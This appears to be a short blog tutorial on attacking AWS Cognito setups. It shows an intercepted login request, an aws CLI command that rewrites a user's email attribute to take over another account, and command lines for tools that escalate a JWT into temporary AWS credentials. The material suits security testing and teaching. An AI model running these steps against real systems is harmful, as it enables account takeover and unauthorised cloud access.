Introduction
Amazon Cognito is a delegated service for providing authentication/authorization and user management in general. Also in addition to basic auth OAuth via Identity Providers like Google or even enterprise standards like OpenID. To understand AWS Cognito authentication flow, we need to take a look at its components: user pool and identity pool.
User Pool
The User Pool is like a directory of users, which can be created directly in the AWS panel, as well as under user control (either in the flow in the application that implements the AWS Cognito SDK or interacting directly with the service).
Identity Pool
Identity Pool provides AWS temporary credentials that can eventually have higher permissions, providing more privileged access to other services. It is not uncommon to find Identity Pool IDs in frontend code or in the request flow in the application.
Zero-Click Account Takeover
One common case is when logging into the application and intercepting the request:
POST / HTTP/2
Host: cognito-idp.us-east-2.amazonaws.com
User-Agent: Mozilla/5.0
Content-Type: application/json
Content-Length: 222
{
"AuthFlow": "USER_PASSWORD_AUTH",
"ClientId": "REDACTED",
"AuthParameters": {
"USERNAME":" attacker@redacted.com",
"PASSWORD": "REDACTED",
"DEVICE_KEY": "REDACTED"
},
"ClientMetadata": {}
}
Imagine that tokens are returned:
{
"AuthenticationResult": {
"AccessToken": "REDACTED",
"ExpiresIn": 3800,
"IdToken": "REDACTED",
"RefreshToken": "REDACTED",
"TokenType": "Bearer"
},
"ChallengeParameters": {}
}
The application would then send another request to Cognito sending the access token as a parameter (and the X-Amz-Target: AWSCognitoIdentityProviderService.GetUser
header) to fetch user attributes.
The interesting part is that, as attackers, we can use this access token to interact directly with the service via the command line and, in this way, modify attributes (which, according to the application's business logic, should be immutable):
aws --no-verify-ssl cognito-idp update-user-attributes --access-token REDACTED --user-attributes 'Name=emailAddr,Value=someoneelse@redacted.com' --region us-east-2
Since we changed the email parameter (it could be a user ID or something else) but kept our known password, we can takeover another user's account.
Identity Pool Escalation
Another case is that we have obtained a JWT token and want to escalate to Identity Pool. We can use this script to obtain temporary credentials from AWS:
python3 ./cognito-escalation.py --region=us-east-2 --pool_id=us-east-2_REDACTED --client_id=REDACTED --identity_pool_id=us-east-2:REDACTED --username=attacker@redacted.com--password=REDACTED | tee $HOME/.aws/config/credentials.txt
Another cool tool is Cognito-Scanner, which is very intuitive and practical to use.
cognito-scanner --region=us-east-2 --pool_id=us-east-2_REDACTED --client_id=REDACTED --identity_pool_id=us-east-2:REDACTED --username=attacker@redacted.com--password=REDACTED
Using the console
command in the Pacu Framework we can scale access to the AWS console in the browser, making exploration easier.
Thanks for reading!
Top comments (0)